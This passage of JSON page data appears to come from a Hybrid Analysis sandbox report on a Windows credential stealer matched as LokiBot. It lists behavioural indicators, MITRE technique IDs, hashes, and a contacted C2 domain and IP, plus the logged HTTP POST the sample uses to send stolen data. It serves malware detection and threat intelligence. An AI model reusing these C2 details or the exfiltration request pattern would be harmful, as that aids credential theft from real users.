DLL","description":"\"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 77940000\n \"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 73B60000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe\" queries basic process information of the \"C:\\9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe\" (UID: 4628)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e\n Observed JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad\n Observed JA3 fingerprint: 1fc1c530fdab845a0a2b05d0b5335bcb\n Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$3f","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe\" called \"GetComputerNameW\" (UID: 00000000-00004628)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe\" called \"GetUserNameW\" (UID: 00000000-00004628)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"Found string \"3DES\" (Indicator: \"3des\"; Source: \"00000000-00004628.00000002.203501.02F96000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$40","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"suspicious","category":"System Security","name":"Opens a handle to the specified local process","description":"\"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe\" opens a process \"C:\\Windows\\System32\\lsass.exe\" (UID: 00000000-00004628)","origin":"API Call","mitre_attack_id":"T1489","relevance":1,"id":"api-284","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match - LokiBot","description":"YARA signature Malware.LokiBot matched on process \"00000000-00004628\"","origin":"YARA Signature","relevance":10,"id":"yara-10","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Attempts to obtain browser login credentials (file access)","description":"$41","origin":"API Call","mitre_attack_id":"T1555.003","relevance":10,"id":"api-281","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]}],"incidents":[{"name":"Spyware","details_count":5,"details":[{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"},{"detail":"Found browser information locations related strings"},{"detail":"Found Putty/Winscp session related registry strings"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"name":"Stealer/Phishing","details_count":4,"details":[{"detail":"Reads FTP client related registry keys"},{"detail":"Tries to steal Mail credentials from registry"},{"detail":"Found FTP credentials location strings"},{"detail":"Tries to steal Putty/Winscp sessions from registry"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Tries to steal Mail credentials from registry"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Marks file for deletion"},{"detail":"Reads Antivirus engine related registry keys"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":4,"imported_dlls_count":96,"dropped_files_count":0,"extracted_files_count":3,"files_written_count":10,"files_deleted_count":0,"registry_keys_created_count":1,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":1,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["banking","chromepassworddump","credentialharvesting","criminal","downloader","informationstealer","lokibot","nemucod","neshta","ransomware","rat","targeted","targetedcrimeware","banker","gamarue","riskware","hiloti","conduit","miner","fakealert","philadelphia","spyware","xrat","swrort","adware","coinminer","filetour","ramnit","trojan","emotet","zeus","zbot","xtrat","hacktool","msil","exploit"],"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"67f2477b31c1475ac207d5e7","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"submit_name":"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe","analysis_start_time":"2025-04-06T09:20:59+00:00","indicators_count":{"informative":119,"suspicious":29,"malicious":8},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"652a556b470fe2fb9d076c4b","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"HEUR:Backdoor.Androm","contacted_countries":["USA"],"submit_name":"sihost.exe","analysis_start_time":"2023-10-14T08:46:36+00:00","indicators_count":{"informative":126,"suspicious":41,"malicious":12},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"65295c8546ef7c33900e624f","environment_id":110,"environment_description":"Windows 7 32 bit (HWP Support)","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Zusy","contacted_countries":["USA"],"submit_name":"sihost.exe","analysis_start_time":"2023-10-13T15:04:38+00:00","indicators_count":{"informative":125,"suspicious":39,"malicious":12},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"104.237.252.65","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]}],"dns_resolutions":[{"domain":"sempersim.su","address":"104.237.252.65","ttl":600,"country":"United States","registrar_name":"R01-SU","registrar_name_servers":"a.dnspod.com.","registrar_creation_date":"2022-03-24T06:23:47+00:00","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]}],"http_requests":[{"host":"sempersim.su","host_ip":"104.237.252.65:80","url":"/a12/fre.php","method":"POST","header":"POST /a12/fre.php HTTP/1.0\nUser-Agent: Mozilla/4.08 (Charon; Inferno)\nHost: sempersim.su\nAccept: */*\nContent-Type: application/octet-stream\nContent-Encoding: binary\nContent-Key: 7556D7A0\nContent-Length: 192\nConnection: close","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"}],"processes":[{"pid":3192,"ppid":0,"name":"sihost.exe","command_line":"","sha256":"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0","normalized_path":"C:\\sihost.exe","uid":"00000000-00003192","icon":"$42"}],"all_imported_dlls":["api-ms-win-core-file-l1-2-0.dll","winhttp.dll","rpcrt4.dll","advapi32.dll","api-ms-win-crt-filesystem-l1-1-0.dll","api-ms-win-crt-utility-l1-1-0.dll","mswsock.dll","shlwapi.dll","mozglue.dll","samcli.dll","vcruntime140.dll","ucrtbase.dll","vaultcli.dll","msimg32.dll","softokn3.dll","dnsapi.dll","crypt32.dll","api-ms-win-crt-environment-l1-1-0.dll","KernelBase.dll","netutils.dll","ole32.dll","oleaut32.dll","api-ms-win-crt-stdio-l1-1-0.dll","rasadhlp.dll","msvcrt.dll","ws2_32.dll","wship6.dll","WSHTCPIP.DLL","api-ms-win-crt-multibyte-l1-1-0.dll","samlib.dll","fltLib.dll","ntdll.dll","api-ms-win-crt-math-l1-1-0.dll","api-ms-win-crt-time-l1-1-0.dll","FWPUCLNT.DLL","usp10.dll","msvcr100.dll","cryptbase.dll","api-ms-win-crt-string-l1-1-0.dll","IPHLPAPI.DLL","msvcp140.dll","sechost.dll","api-ms-win-core-localization-l1-2-0.dll","wsock32.dll","netapi32.dll","winnsi.dll","nsi.dll","user32.dll","gdi32.dll","VxSSL32.dll","dbghelp.dll","api-ms-win-core-timezone-l1-1-0.dll","api-ms-win-core-processthreads-l1-1-1.dll","api-ms-win-crt-heap-l1-1-0.dll","msctf.dll","api-ms-win-core-synch-l1-2-0.dll","nss3.dll","version.dll","msasn1.dll","lpk.dll","rsaenh.dll","winmm.dll","nssdbm3.dll","freebl3.dll","profapi.dll","sspicli.dll","shell32.dll","api-ms-win-core-file-l2-1-0.dll","api-ms-win-crt-convert-l1-1-0.dll","wkscli.dll","webio.dll","imm32.dll","cryptsp.dll","api-ms-win-crt-runtime-l1-1-0.dll","api-ms-win-crt-locale-l1-1-0.dll","srvcli.dll","userenv.dll","kernel32.dll","tzres.dll","windows.storage.dll","kernel.appcore.dll","bcrypt.dll","wow64win.dll","apphelp.dll","WinTypes.dll","wow64cpu.dll","bcryptprimitives.dll","combase.dll","dpapi.dll","SHCore.dll","gdi32full.dll","msvcp_win.dll","cfgmgr32.dll","powrprof.dll","wow64.dll","win32u.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"7180e4f73145f9e6047b9cdb5ff25144_733c94c5-cebb-4f98-a75f-22a797d1d50b","sha256":"2126a3968a28a456ef8b74af23252ae9097edc9210c36d70aeaf440f42616a25","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"}]},{"name":"d153dbf7408b1530cf8d0f0aa640ce7c_733c94c5-cebb-4f98-a75f-22a797d1d50b","sha256":"824c5ca9683585ff4e9ee93a88c3b143eac811a0a7a435bbae1f90c97283773a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"name":"d153dbf7408b1530cf8d0f0aa640ce7c_a3d27cfa-1e7a-4ff8-8004-2be13417b6b1","sha256":"824c5ca9683585ff4e9ee93a88c3b143eac811a0a7a435bbae1f90c97283773a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]}],"files_written":[{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"path":"%APPDATA%\\Microsoft\\Crypto","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-2092356043-4041700817-663127204-1001\\7180e4f73145f9e6047b9cdb5ff25144_733c94c5-cebb-4f98-a75f-22a797d1d50b","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-2092356043-4041700817-663127204-1001\\d153dbf7408b1530cf8d0f0aa640ce7c_733c94c5-cebb-4f98-a75f-22a797d1d50b","sources":[{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-735145574-3570218355-1207367261-1001","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-735145574-3570218355-1207367261-1001\\d153dbf7408b1530cf8d0f0aa640ce7c_a3d27cfa-1e7a-4ff8-8004-2be13417b6b1","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"path":"%APPDATA%\\092198\\864418.lck","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"6897110B52C166E7F20FBF0B","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"name":"SM0:4628:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"name":"C87652D09219864418B5548E","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"name":"Local\\SM0:4628:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]}]}},"report_ids":{"sandbox_job_ids":["67f2477b31c1475ac207d5e7","652a556b470fe2fb9d076c4b","65295c8546ef7c33900e624f"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Zusy.Generic Sample 9a8a979e60fd… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 9a8a979e60fd…. Malware family: Zusy.Generic. Threat score 100/100. 19/25 AV engines flagged this file. 12 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0"}],["$","meta","4",{"property":"og:title","content":"Malicious Zusy.Generic Sample 9a8a979e60fd… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 9a8a979e60fd…. Malware family: Zusy.Generic. Threat score 100/100. 19/25 AV engines flagged this file. 12 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Zusy.Generic Sample 9a8a979e60fd… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 9a8a979e60fd…. Malware family: Zusy.Generic. Threat score 100/100. 19/25 AV engines flagged this file. 12 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L43","11",{}]]